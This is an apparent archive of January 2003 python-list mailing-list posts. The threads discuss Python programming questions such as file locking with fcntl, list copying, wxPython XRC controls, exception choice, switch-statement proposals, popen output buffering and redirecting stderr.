From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark)
Date: Thu, 30 Jan 2003 20:23:05 +0000
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <Fpc_9.143714$AA2.5881522@news2.tin.it> <20030130180017.U10804@prim.han.de> <mailman.1043948036.13037.python-list@python.org>
Message-ID: <h32j3v8ntbhhh4i7bq93qihs2t71gdb3vf@4ax.com>

Alex Martelli <aleax at aleax.it> wrote:

>It says that strings are to be treated as a list of 1.  Not sure what
>you mean by "excluded".  The OP also gave an example that did
>not meet his own specs (he went out of his way to treat _tuples_
>NOT as lists of one item).
>

Sorry. I was using the term 'list' in it's general sense, rather than
the Python definition. In other words, anything that is normally
represented by items seperated by commas. So Python lists and tuples
are in, str and unicode (and anything else normally represented by an
unbroken string of characters) are out. 

I'm sure even that definition has holes but maybe it's clearer.
--
Dale Strickland-Clark
Riverhall Systems Ltd



From phr-n2002b at NOSPAMnightsong.com  Thu Jan  2 09:53:45 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 02 Jan 2003 06:53:45 -0800
Subject: Simple encryption proposal. Comments ?
References: <BOMP9.5093$CG6.90311@news4.e.nsc.no> <mailman.1041211955.22409.python-list@python.org> <aZYP9.5185$CG6.93090@news4.e.nsc.no> <7xptrj8rr5.fsf@ruckus.brouhaha.com> <aurvdu$sqe$0@216.39.172.122> <8a6ba1da.0301020356.7916bc80@posting.google.com> <7xbs2zrbdf.fsf@ruckus.brouhaha.com> <av1g67$b3l$0@216.39.172.122>
Message-ID: <7xptrfa9hi.fsf@ruckus.brouhaha.com>

> ># _test2()    # depends on secrand.py module, not included
>                                                ^^^^^^^^^^^^
> We seem to a chain going ;-) Google doesn't ... Um, where might one ...

Secrand is used only by one of the testing functions, so it's not
needed to use that base52 module.  It's *nix-specific since it reads
bytes from /dev/urandom.  But here it is:

# ===== secrand.py ========================================================

# Secure random number generator

# Copyright 2001 Paul Rubin, Fort GNOX Cryptography
# Copying permissions: GNU General Public License version 2.

# $Id: secrand.py,v 1.1 2002/12/20 19:42:02 phr Exp phr $

class _secrand:
    def __init__(self):
        self.__f = open("/dev/urandom")
    def getbytes(self,nbytes):
        return self.__f.read(nbytes)
    def gethex(self,nbytes):
        import binascii
        return binascii.hexlify(self.getbytes(nbytes))
    def getlong(self,nbytes):
        return long(self.gethex(nbytes), 16)
    def getstring(self,nbytes):
        import base64
        x = base64.encodestring(self.getbytes(nbytes))
        # chop newline and trailing '=' signs
        x = x[:-(-nbytes%3)-1]
        return x

secrand = _secrand()



From tundra at tundraware.com  Thu Jan 16 14:30:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 16 Jan 2003 19:30:07 GMT
Subject: Declaring A Function Argument As Global?
In-Reply-To: <mailman.1042743511.31058.python-list@python.org>
References: <9fp60b.86b2.ln@boundary.tundraware.com>        <mailman.1042738646.3193.python-list@python.org>        <1pt60b.atb2.ln@boundary.tundraware.com> <mailman.1042743511.31058.python-list@python.org>
Message-ID: <8r070b.sfc2.ln@boundary.tundraware.com>

Skip Montanaro wrote:
>     >> def lhandler(list):
>     >>     list[:] = list[1:]
> 
>     Tim> 'Works like a charm.  But why?
> 
> list[:] on the left-hand side of an assignment assigns to the entire list.
> It's effectively 
> 
>     list[0:len(list)] = rhs

The slicing part I understand well.  What I do not grasp is why using
this construct on the lhs gives you access to the actual list
in question, but list = list[1:] refers to the local variable (formal
parameter) 'list'.  It is the semantics of scope that is confusing me
here, not the list operation...

Thanks,
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From Mongryong at sympatico.ca  Tue Jan 28 12:08:45 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 28 Jan 2003 12:08:45 -0500
Subject: How can I avoid running a python script multiple times?
In-Reply-To: <20030128110704.GA1257@pedos.es>
References: <20030128110704.GA1257@pedos.es>
Message-ID: <1043773726.6261.22.camel@refugeeMedia>

One solution is locking on a file.  I call this a 'file mutex'.  So, in 
pseudocode, it would be something like this:

open mutex for desired lock file
acquire the mutex
....
processing
...
release the mutex

Fortunately, there's a convient solution to file locking for posix
platforms.  If you do, man 'fcntl' you should find out more.  There is
also a module for Python called 'fcntl'.  The exact replica!  Locking
works across threads and processes.

So using fcntl module:

import fcntl

lockFile = open("lock")
fcntl.lockf(lockFile.fileno(), fcntl.LOCK_EX) # acquire exlusive lock
...
process
...
fcntl.lockf(lockFile.fileno(), fcntl.LOCK_UN) # release lock

If you don't want to block on an exclusive lock acquire, change the
second parameter to 'fcntl.LOCK_EX | fcntl.LOCK_NB'.  Now, if the mutex
can't be acquired, an exception is thrown.

Note, fcntl is more like an 'recursive mutex'.  That is, if your process
already has the 'file mutex', it doesn't block.  Also, if your file
handler(ie. lockFile) is destroyed, the mutex is release.

I've created a wrapper class for 'fcntl' to that combines the mutex
capabilities with your standard file stream object.  This is useful if
you decide to port your code to another OS like Windows.

Here's the code again using my wrapper:

import filemutex

lockFile = filemutex.Open("lock", "r+") # can specify modes & buffer 
lockFile.acquire() # blocks
...
process
...
lockFile.release()

A non-blocking version:

lockFile = filemutex.Open("lock")
while 1:
	if lockFile.acquired(): # no blocking
		...process...
		lockFile.release()
	else:
		...do something else...
lockFile.close()

Note again, the mutex is recursive.

I use this for my web loggin and session management purposes.





From andrew-pythonlist at puzzling.org  Sun Jan 12 20:10:54 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Mon, 13 Jan 2003 12:10:54 +1100
Subject: Elegant copy-by-value
In-Reply-To: <avt19i$r4$1@slb0.atl.mindspring.net>
References: <87n0m7urz4.fsf@gvdnet.dk> <3E20CA0F.E2C07F4E@engcorp.com> <87k7hbul7w.fsf@gvdnet.dk> <3E20DFE7.FD196BD3@engcorp.com> <87d6n2h5mn.fsf@gvdnet.dk> <x7ptr2rs1a.fsf@guru.mired.org> <avt19i$r4$1@slb0.atl.mindspring.net>
Message-ID: <20030113011054.GA15720@frobozz.local>

On Sun, Jan 12, 2003 at 05:29:44PM -0700, Andrew Dalke wrote:
> Mike Meyer wrote:
> >If it still bothers you, how about a PEP proposing that object have
> >copy and deepcopy methods that DTRT? That way, all new-style classes
> >would have a copy and deepcopy methods, so you could invoke them
> >without having to import a module.
> 
> Actually, I think Python could get what he wants if copy.copy and
> copy.deepcopy were added to the builtins as 'copy' and 'deepcopy'.
> It seems he mostly didn't like the need for an extra import, based
> on the OP's statement

In which case, perhaps all they want is the following code:
     
     from copy import copy, deepcopy
     __builtins__.copy = copy
     __builtins__.deepcopy = deepcopy

<wink>

-Andrew.





From max at alcyone.com  Fri Jan 17 07:05:09 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 17 Jan 2003 04:05:09 -0800
Subject: comprehensions was Re: Switch statements again
References: <1042670767.3e25e4afa12e5@www.progoth.com> <mailman.1042672181.22990.python-list@python.org> <a8b7f07a.0301160724.424a1025@posting.google.com> <200301160736.18786.shalehperry@attbi.com> <Pine.LNX.4.51.0301160916220.9165@ns0.tbye.com> <mailman.1042740101.18359.python-list@python.org> <ad496f8.0301170354.3bc49338@posting.google.com>
Message-ID: <3E27F175.7C9FE6B2@alcyone.com>

Ville Vainio wrote:

> Of course, there is still the embarrassing issue of the list
> comprehension variable not being local to the list comprehension. Why,
> oh why won't people pre-deprecate it... at least in the documentation.
> Any hope to get it into the tutorial/lang reference for 2.3 :)?

Probably for the same reason that other iterative constructs that
introduce variables don't make them local to that structure either:

>>> [x for x in range(10)]
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
>>> x
9
>>> for y in range(10): print y,
... 
0 1 2 3 4 5 6 7 8 9
>>> y
9

If one annoys you, surely the other would, too?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I am a gentlemen:  I live by robbing the poor.
\__/ George Bernard Shaw
    Kepler's laws / http://www.alcyone.com/max/physics/kepler/
 A proof of Kepler's laws.



From andy at eastonwest.co.uk  Sat Jan 11 07:06:01 2003
From: andy at eastonwest.co.uk (andy)
Date: Sat, 11 Jan 2003 12:06:01 +0000
Subject: How to change colors of console window?
In-Reply-To: <3e1e153c_3@corp.newsgroups.com>
References: <3e1ab443_1@corp.newsgroups.com> <avi1u6$g4ojc$1@ID-130333.news.dfncis.de> <3e1e153c_3@corp.newsgroups.com>
Message-ID: <200301111205.35691.andy@eastonwest.co.uk>

On Friday 10 Jan 2003 12:46 am, Bill Walker wrote:

Google "ansi.sys", e.g. http://www.computerhope.com/ansisys.htm

You need to edit your c:\config.sys file to make sure there's a

	DEVICE=C:\WINDOWS\COMMAND\ANSI.SYS  

NOTE: You may need/want to add some parameters at the end of the line.  If you 
change it, you must reboot.

After that's loaded, you can program the ansi display by issuing escape 
commands.  You do this by printing them to the screen.  In DOS batch script,
you use the ECHO command to output text.  There is no way to specify 
non-printable characters, though, so you need to insert them directly.  Any 
GOOD text editor has a meta-key, allowing the insertion of characters that 
would normally be cuaght by the key-bindings.  If you use EDIT.COM, you can 
do this with Ctrl-P:

echo <ctrl>p<esc>(ansi codes...)

Hint: you need to use the Graphics control function...

-regards, 
-andyj

> Can you give an example of using an escape sequence to change the DOS
> windows to, say blue on white?
>
>
> "Cousin Stanley" <CousinStanley at HotMail.com> wrote in message
> news:avi1u6$g4ojc$1 at ID-130333.news.dfncis.de...
>
> > || w98 console is annoying in other ways too, IIRC. I.e., you
> > || have to load doskey to get line recall, and then that doesn't
> > || get inherited when you run python in the console interactively?
> >
> > Bengt ...
> >
> > I'm using doskey and find it very useful
> > and on this Win98 system it does NOT inherit into Python,
> > which  IS  a problem ...
> >
> > As a result, I do little testing directly in interactive mode
> > but make changes in a text editor and then run ...
> >
> > doskey does make switching back and forth
> > between ... edit ... and ... python ... very easy
> > after typing the lines the fist time ...
> >
> > I have managed to switch the DOS colors easily
> > using ANSI Escape sequences with the ANSI.SYS driver,
> > but I'm curious as how to do it with DOS/Win configurations ...
> >
> > Cousin Stanley
>
> -----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
> http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
> -----==  Over 80,000 Newsgroups - 16 Different Servers! =-----





From peter at engcorp.com  Sun Jan  5 21:31:25 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 05 Jan 2003 21:31:25 -0500
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <d8mf1vsm6271d5m4nao9t91dcs7m865n82@4ax.com> <slrnb1go12.kv8.grante@localhost.localdomain> <pjah1v0g2k0bll013pbmtspmvl6vd67ojn@4ax.com>
Message-ID: <3E18EA7D.3CDD9E81@engcorp.com>

Afanasiy wrote:
> 
> On 05 Jan 2003 16:37:08 GMT, Grant Edwards <grante at visi.com> wrote:
> 
> >In article <d8mf1vsm6271d5m4nao9t91dcs7m865n82 at 4ax.com>, Afanasiy wrote:
> >> On Sun, 5 Jan 2003 01:40:25 -0500, "Etienne Charland"
> >
> >> As far as I know, Python has nothing as good as the .NET WinForms
> >> wrapping of native Win32 interface components. Mark Hammond has wrapped
> >> MFC, but that does not compare to WinForms.
> >
> >I don't know much about WinForms, but wxWindows and Gtk both provide
> >nice frameworks around native Win32 UI components.
> 
> Not really... Wx is fairly buggy and unstable,

This has not been my experience with wxPython...

What problems have you encountered?  Or is this based
on reports you've read somewhere?  Maybe you're talking
about a specific platform?  I've used it only on Windows
so far, not on Linux or the Mac...

-Peter



From imbosol at vt.edu  Tue Jan 21 17:53:46 2003
From: imbosol at vt.edu (Carl Banks)
Date: Tue, 21 Jan 2003 22:53:46 GMT
Subject: 2D lists
References: <c7486c63.0301201106.681eece8@posting.google.com>        <9tlo2v8arqnbrbrndti7eqqf6596tg4rbb@4ax.com>        <hVadnXEIxLEWw7GjXTWc-w@speakeasy.net>        <b68f71a7.0301210312.2df2229f@posting.google.com>        <mailman.1043153918.28499.python-list@python.org>        <b68f71a7.0301211306.38238ae7@posting.google.com> <mailman.1043184159.26765.python-list@python.org>
Message-ID: <_bkX9.3473$OI6.1904@nwrddc02.gnilink.net>

Skip Montanaro wrote:
>    >>> b.append(copy.copy(a))
> 
> or slightly more efficiently:
> 
>    b.append(a[:])
> 
> Copy should only be needed (and then copy.deepcopy) if you are creating
> higher dimensioned arrays/lists.

copy.copy could be useful if you don't know what it is you're shallow
copying.


-- 
CARL BANKS



From gerhard.haering at gmx.de  Fri Jan  3 11:48:58 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 3 Jan 2003 16:48:58 GMT
Subject: Learn about natural male enhancement          (rra  hc k )
References: <Dz8R9.1104$Q81.3960@nsw.nnrp.telstra.net> <a8b7f07a.0301030846.1593799c@posting.google.com>
Message-ID: <slrnb1bfnq.1lj.gerhard.haering@lilith.my-fqdn.de>

A. Lloyd Flanagan wrote:
> zbfkc at ktx.com wrote in message news:<Dz8R9.1104$Q81.3960 at nsw.nnrp.telstra.net>...
>> " . . . Basically, you can enhance any part of your
>> body with the proper exercise. We have done extensive
>> research and found exercises that are PROVEN to enlarge
>> your penis, increase stamina, STRAIGHTEN a curved penis,
>> stop premature ejaculations, and even cure Peyronies Disease . . ."
> 
> First, this is way off topic.
> Second, all the guys on THIS list don't need enhancement, natural or otherwise.

I doubt trying to accomplish 'conversation' with a spammer has the
desired effect.

> Third, there are no muscles in the penis, so what are you going to exercise?

Be worried if there aren't ;-)

-- Gerhard



From alloydflanagan at attbi.com  Thu Jan 30 14:06:46 2003
From: alloydflanagan at attbi.com (A. Lloyd Flanagan)
Date: 30 Jan 2003 11:06:46 -0800
Subject: Which exception to use?
References: <b16lui$j3s$1@bob.news.rcn.net> <slrnb3e26l.141.ben@localhost.localdomain> <3E371F9A.938B2D61@alcyone.com>
Message-ID: <a8b7f07a.0301301106.6e796d59@posting.google.com>

Erik Max Francis <max at alcyone.com> wrote in message news:<3E371F9A.938B2D61 at alcyone.com>...
> Ben Caradoc-Davies wrote:
> 
> > My favourite in these circumstances is AssertionError. You can even
> > rewrite
> 
> If the error discussed here is genuine, assert is not the right way to
> handle it.  Asserts can be disabled with the -O option; if someone is
> running your script "optimized," execution will continue past the assert
> statements where it should have stopped.

An assertion, in formal programming theory, is a statement that some
condition is always going to be true.  Generally you would never use
assertions in a situation where you expect them to fail; that's what
exceptions are for.  So assertions should never be used to control the
flow of program logic -- that's not what 'assert' means.

The point is that within a procedure you can't guarantee that the
parameters are correct; that's up to the caller.

All of which boils down to "I agree with Erik".



From grayshade at libero.it  Fri Jan 17 18:56:57 2003
From: grayshade at libero.it (Domenico)
Date: 17 Jan 2003 15:56:57 -0800
Subject: FW: Switch statements again
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <1042672900.3e25ed04a5f1a@www.progoth.com> <20030116143057.B1683@regdp-02.intint.registriesltd.com.au> <15910.14790.560885.524643@montanaro.dyndns.org> <mailman.1042695688.821.python-list@python.org> <a8b7f07a.0301160634.56f1c6c6@posting.google.com>
Message-ID: <e34e8ce6.0301171556.28bf4dca@posting.google.com>

> 1.  Call it something besides 'switch', which IMHO is not intuitive as
> to its meaning.  How about something like 'select case'?

one of the ugliest VB-ism's. I hope you missed a ";)" after the
question mark <.75 wink>
switch is recognized by 95% programmers or so...

switch new_syntax:
    case 'switch':
        print 'I guess I like this'
    case 'select case':
        print 'I guess I don't like this'
    case 'if/elif/else':
        print 'reminds me of spaghetti-programming'
    else:
        print 'dunno'



From cout at netvigator.com  Fri Jan 17 05:44:24 2003
From: cout at netvigator.com (cout)
Date: Fri, 17 Jan 2003 18:44:24 +0800
Subject: not working Re: help!! getting output from another process line by
 line, using  popen
In-Reply-To: <3E27D9CA.3010303@draigBrady.com>
References: <b08ka1$q8l8@imsp212.netvigator.com> <3E27D9CA.3010303@draigBrady.com>
Message-ID: <b08mi0$q915@imsp212.netvigator.com>

P at draigBrady.com wrote:
> cout wrote:
> 
>> Help!!
>>
>> There are 2 python scripts, one is to print out the output(output.py),
>> the other is supposed to get std output from output.py line by line.
>> However, it only get all the result after 40 seconds. Not during the
>> executing process. Any ideas?
>>
>> ===========output.py==============
>> #! /usr/bin/python
>>
>> import time
>>
>> for i in range(1,20,1):
>>         print i
> 
>           sys.stdout.flush()
> 
>>         time.sleep(2)
>>
>> ================monitor.py===============
>> #! /usr/bin/python
>>
>> import os
>> import sys, string
>> cmd="python output.py"
>>
>> handle = os.popen(cmd, 'r', 1)
>> for line in handle:
>>     print line,
>> handle.close()
>>
> 
Thanks, but it doesn't work.
I run with script, it is same as before.

output.py is just a long process dummy program for simulation purpose.
We are not supposed to change it.





From ianb at colorstudy.com  Thu Jan 23 16:06:54 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 23 Jan 2003 15:06:54 -0600
Subject: Syntax modification idea: (classmethods, properties locking...)
In-Reply-To: <b077d1$7ag@news.Informatik.Uni-Oldenburg.DE>
References: <b077d1$7ag@news.Informatik.Uni-Oldenburg.DE>
Message-ID: <1043356014.18262.1037.camel@lothlorien>

On Thu, 2003-01-16 at 15:03, Arne Koewing wrote:
> class bar(object):
>     def foo(class,arg1) is classmethod:
>         pass
>     def bar(arg1) is staticmethod:
> 	pass


I really like the way this looks.  I think the use of "is" is really
important too, it makes it read well and fits in with Python syntax.  I
don't think Python really uses whitespace alone for much of anything
(i.e., the only place "word word" is valid is where one of those are a
keyword, as in "def foo").  So I think "foo(cls) classmethod:" is bad. 
Using "is" here is like "for x in y:" -- "for x y" would be more
compact, but reads horribly.

And I like that classmethod and staticmethod aren't given any special
privileges (i.e., you can do locking or other techniques as you
suggest).  It also doesn't make the code less readable, as "def
classmethod foo(...)" does -- that moves the function name to the third
word on the line, where it's always been the second up until now.  That
form wouldn't allow arguments either, as in locking("lockname") -- I
think that's a big feature.

But it doesn't address what I think would be the most common case of
"property".  Pre- and post-methods (as in Eiffel) also wouldn't be well
supported.  But I suppose it could be used for read-only properties,
which probably accounts for 75% of the uses of property.  For read-only
properties it also reads quite nicely (def foo(self) is property).  

The alternative of course is using a metaclass, which works right now. 
I've been using things like _set_attr(), but I think I prefer
attr__set(), which I saw someone use before (it looks sufficiently
magical).  Reads really poorly, though.  But it allows properties to be
used with their full functionality.  It doesn't make your locking
example work, though you could use function attributes for that, like:

    def g__locking(arg):
        ...
    g__locking.lock = threading.Lock()

The problem with metaclasses is that you have to make a choice.  It's
easy to add another type of function to your system orthogonally with
everything else.  But with metaclasses you'd have to somehow register
your function-constructor with the metaclass.  And we'd need some
canonical metaclass.

That's reasonable, but still leaves the problem of composing these
metaclasses.  I've begun using metaclasses in my library code, and I
like it -- but (I think) I'd need to make my metaclass a subclass of
this canonical metaclass in order for them to be compatible.  Unless
maybe you could do __metaclass__ = (PropMetaclass, SomeOtherMetaclass)
-- I haven't tested that (and metaclasses seem poorly documented right
now).  I still don't feel entirely comfortable with my understanding of
the semantics of metaclasses, so I couldn't quite predict what multiple
metaclasses would mean.

-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From skip at pobox.com  Tue Jan 14 10:54:48 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 14 Jan 2003 09:54:48 -0600
Subject: PEP 267 improvement idea (fwd)
In-Reply-To: <20030114124220.GA37239@hishome.net>
References: <Pine.GSO.4.44_heb2.09.0301131818550.4790-100000@techunix.technion.ac.il>
        <20030114124220.GA37239@hishome.net>
Message-ID: <15908.13000.104839.920717@montanaro.dyndns.org>

    Oren> I know Guido likes the idea but the implementation is still far
    Oren> from complete.

Can you elaborate on its incompleteness?

Skip




From timr at probo.com  Sun Jan 26 22:41:13 2003
From: timr at probo.com (Tim Roberts)
Date: Sun, 26 Jan 2003 19:41:13 -0800
Subject: wxPython problems (XRC problems)
References: <3e34145b_1@news.estpak.ee>
Message-ID: <nba93v4b71jt8g6esr13km1e1gvv7r4joj@4ax.com>

"Andrei S." <w3c at hot.ee> wrote:
>
>I've met wxPython for GUI applications programming and just loved it. 

Welcome to the club!

>Especially for the XRC feature.
>
>I'm making a simple test application, with different controls to test, 
>especially such as buttons, text inputs, wxCalendarCtrl and others. I 
>want to have this all in the dynamically loaded XML resource file (XRC). 
>The GUI is edited through the XRCed app, shipped with the wxPython package.
>
>...
>I'm initialising the dialog with wxCalendarCtrl widget by writing the 
>following code in InitSelDate(self) function of class MyApp(wxApp):
>
>*-- python code --*
>
>self.date_dialog 	= self.res.LoadDialog(self.frame, "select_date_dialog")
>self.calendar_ctrl	= XRCCTRL(self.date_dialog, "calendar_ctrl")
>
>EVT_BUTTON(self, XRCID("sdate_button_ok"), self.OnSelectDateOK)
>EVT_BUTTON(self, XRCID("sdate_button_cancel"), self.OnSelectDateCancel)
>
>*-- python code --*
>
>Then I call this function from OnInit method and from OnSelectDate 
>method with "if not self.date_dialog" predicate.
>
>Then I get the following when running the program:
>
>self.date_value.SetValue(self.calendar_ctrl.GetDate())
>AttributeError: wxControlPtr instance has no attribute 'GetDate'
>
>So it seems like XRCCTRL(self.date_dialog, "calendar_ctrl") makes a 
>wxControlPtr object but not wxCalendarCtrlPtr... Any tips on making it 
>return wxCalendarCtrlPtr objects?

Yes.  The XRC mechanism understand SOME of the wxPython controls, but not
ALL of the possible controls.  To handle this circumstance, wxPython
provides a function to basically do a C typecast -- to tell the system that
"this object pretends to be a wxXxxGeneric but is really a wxXxxSpecific":

  self.calendar_ctrl = wxPyTypeCast(
    XRCCTRL(self.date_dialog, "calendar_ctrl"), 
    "wxCalendarCtrl"
  )

>Are there any wxPython users in here that could help me solve these 
>problems?

If you go to the wxPython web site, you'll find a link to the
wxPython-users mailing list.  This is absolutely your best bet for
answering questions like this.
-- 
- Tim Roberts, timr at probo.com
  Providenza & Boekelheide, Inc.



From skip at pobox.com  Wed Jan 15 18:15:46 2003
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 15 Jan 2003 17:15:46 -0600
Subject: Switch statements again
In-Reply-To: <20030115180346.D13035@localhost.localdomain>
References: <1042670767.3e25e4afa12e5@www.progoth.com>
        <20030115180346.D13035@localhost.localdomain>
Message-ID: <15909.60322.306715.85800@montanaro.dyndns.org>

    Jack> Comprehensions always hurt readability (ALWAYS), and we don't need
    Jack> the speedup here so we do it explicitly.

1. You can ALWAYS tell when someone is overgeneralizing if they use ALWAYS
   or NEVER. ;-)

2. List comprehensions provide little, if any, speedup over an explicit for
   loop.

Skip




From pyth at devel.trillke.net  Thu Jan 30 12:00:17 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Thu, 30 Jan 2003 18:00:17 +0100
Subject: Implicit lists
In-Reply-To: <Fpc_9.143714$AA2.5881522@news2.tin.it>; from aleax@aleax.it on Thu, Jan 30, 2003 at 04:29:25PM +0000
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com> <mailman.1043939395.30256.python-list@python.org> <Fpc_9.143714$AA2.5881522@news2.tin.it>
Message-ID: <20030130180017.U10804@prim.han.de>

Alex Martelli wrote:
> holger krekel wrote:
>    ...
> > hmmm. Maybe with a general-purpose
> > 
> >     def elems(*args):
> >         l = []
> >         for arg in args:
> >             try: l.extend(arg)
> >             except TypeError: l.append(arg)
> >         return l
> 
> Alas, doesn't meet specs...:

I presume you refer to this part 

[dale]
    In other words, I want to be able to treat an argument of arbitrary
    type as a list of 1 if it isn't already a list.

which isn't an overly explicit specification.  In particular, 
it doesn't imply that strings are to be excluded.  

But i agree that grouping into 'non-iterables except strings and 
unicode' on one side and everything else on the other side most 
often makes sense.   

> [alex at lancelot mydata]$ python2.2
> Python 2.2.2 (#1, Oct 24 2002, 11:43:01)
> [GCC 2.96 20000731 (Mandrake Linux 8.2 2.96-0.76mdk)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
> >>> a=[]
> >>> a.extend('ciao')
> >>> a
> ['c', 'i', 'a', 'o']
> >>>
> 
> basically, l.extend now accepts all iterables.

Sure. It's been like this since Python-2.1. Previously
it threw an TypeError. 

ciao,

    holger




From mwh at python.net  Wed Jan 15 14:01:50 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 15 Jan 2003 19:01:50 GMT
Subject: copy-on-write for dict objects?
References: <avtss7$ejg$1@news.sns-felb.debis.de>
Message-ID: <7h3n0m2p77m.fsf@pc150.maths.bris.ac.uk>

Matthias Oberlaender <matthias.oberlaender at REMOVE.daimlerchrysler.com> writes:

> Is there an easy way in Python 2.2.1 to add a copy-on-write mechanism to 
> subclasses of dict, i.e. without extending/modifying the C-code 
> implementation?  (I guess there is none!)

Not sure what you mean.  But I doubt it.  You need a level of
indirection in there, so I don't see how you could do it directly even
hacking C.

> I don't want to resort to UserDict again, since, at least for my
> purposes, it's much slower than direct subclasses of dict (around
> 10x)

I know that feeling.

Cheers,
M.

-- 
 "Well, the old ones go Mmmmmbbbbzzzzttteeeeeep as they start up and
  the new ones go whupwhupwhupwhooopwhooooopwhooooooommmmmmmmmm."
                         -- Graham Reed explains subway engines on asr



From aztech1200 at yahoo.com  Fri Jan 10 06:18:11 2003
From: aztech1200 at yahoo.com (Az Tech)
Date: 10 Jan 2003 03:18:11 -0800
Subject: Using Py 1.5.2 libs/mods with Py 2.2 ? (for PyQt)
Message-ID: <5a969143.0301100318.1c0490e6@posting.google.com>

Hello list,

1. I have Red Hat Linux 7.3.

2. Python 1.5.2 came preinstalled with it.

3. Then, either:
    - I installed PyQt 3.1
    OR
    - it was already installed along with RHL 7.2
    (I don't remember which of the above, now, as it
was some time back).

4. Then some days later I installed Python 2.2 from
the RH apps CD.

When I tried to run one of the example PyQt apps
(using Py 2.2), I got an error on the 'import qt'
statement - to the effect that the qt module was not
found.

5. Since I knew that PyQt was installed (by doing an
"rpm -q PyQt" and "rpm -q PyQt-examples", both of
which showed that the respective packages were
installed), I was surprised at the above error. 
(I had not realized at this point, that I had
installed Py 2.2 after installing PyQt 3.1)

6. Doing a 'find / -name "*[Pp][Yy][Qq][Tt]*' showed
the location of the PyQt files - they were installed
in the Python 1.5.2 site-packages directory, not in
that of Py 2.2. 

7. So I switched to Py 1.5.2 and tried running the
examples. Some of them worked, some partly worked and
partly gave some errors. I am not sure if this is due
to a version clash between Py 1.5.2 and the PyQt
version which is 3.1 (and my Qt version is 3.0.3).

8. I can of course uninstall PyQt, and then re-install
it in the Py 2.2 tree; I haven't tried this yet but I
think I should be able to manage it. And I know that
this is probably the right way to do it.

9. However, I may not want to do that just now. 
Generalizing the situation, this led me to wonder
whether is is possible and "officially" recommended to
use one version of Python with the libraries / modules
installed in the site-packages directory of another
version, and if so, what is the way to do it ? Setting
the PYTHONPATH to include that site-packages directory
? Or some other way ? And are there any issues that
may arise as a result of this ? Such as conflicts
between versions of different libraries and the
language, etc. ?

Thanks for any advice.

Az.



From phr-n2002b at NOSPAMnightsong.com  Sun Jan 12 03:22:18 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 12 Jan 2003 00:22:18 -0800
Subject: Performance penalty for using classes?
References: <33803989.0301120004.76e09b9a@posting.google.com>
Message-ID: <7xznq693r9.fsf@ruckus.brouhaha.com>

tebeka at cs.bgu.ac.il (Miki Tebeka) writes:
> I need my M.Sc. to run fast but I don't want to recode it in C.
> I've noticed that using classes can cause my code to run about 30%
> slower.  (See the below tests)
> 
> Since I don't need OO much in this project is it worth moving to a
> non-OO programming style?

Only if the 30% speedup really matters to you.  It might not.  Or maybe
you could just upgrade your PC processor to one 30% faster than the
old one.  That sounds like a lot less work than rewriting your software.



From KittyMCooper at zianet.com  Sun Jan  5 13:48:23 2003
From: KittyMCooper at zianet.com (Kitty Munson Cooper)
Date: Sun, 5 Jan 2003 11:48:23 -0700
Subject: Embedded python: printing exceptions to a file?
References: <av9com$nrl$1@Fourier.suse.de>
Message-ID: <3e187df7$1@news.zianet.com>

If you search the python newsgroup archives (available on the saerch
function from python.org) for redirecting sys.stderr, you will find many
useful discussions of problems similar to yours.

> - Is there any easy & recommended way to let sys.stderr point to another
> open file object?

YES, use "=",  here is a working example:

import sys

try:
  logfile = open ('logfile.txt',"w",0)  #the 0 means unbuffered so we get it
all on a failure
except Exception, why:
  print "Open of logfile failed:", why
else:
  try:
    sys.stderr = logfile
  except why:
    print "** FAILED ** Could not redirect errors -- ",why
  else:
    ## code to force an error
    print "testing logging"
    print "force an error"
    a = 0
    b = 3
    print b/a
    ## end of code to force an error
## restore  stderr
try:
  sys.stderr = standardset

except Exception , why:
  print "**FAILED** ",why

logfile.close()



--
---------------------------------------------------------------
Kitty Munson Cooper, web designer  -- KittyMCooper at zianet.com
Holiday Greetings at http://www.kittymunson.com/Xmas/2002.html
more information at http://www.kittycooper.com/resume.html


"Gernot Hillier" <ghillie at suse.de> wrote in message
news:av9com$nrl$1 at Fourier.suse.de...
> Hi!
>
> I use embedded python in my application and I'm really enthusiastic about
it
> - the API is really well designed, thx. :-)
>
> But now I have a small problem - I want to log errors from python scripts
> running in the embedded interpreter to a log file.
>
> All I found so far is PyErr_Print() which prints to sys.stderr.
>
> I looked at its implementation - hoping to find a small function where I
> just could change sys.stderr to some open file and copy it to my
> application - but it seems to be rather complex so I think it's not wise
to
> copy and modify all this code... :-((
>
> So I see two ways:
>
> - Perhaps there's a function provided which already provides an
alternative
> to PyErr_Print()?
>
> - Is there any easy & recommended way to let sys.stderr point to another
> open file object?
>
> <OT>
> I just wonder if it would be wise to splitup this newsgroup into some more
> specific subjects like (just suggestions)
> - Python main (questions regarding the core Python functionality)
> - Python-Newbie (installing, troubleshooting simple scripts, ...)
> - Embedding/Extending python questions
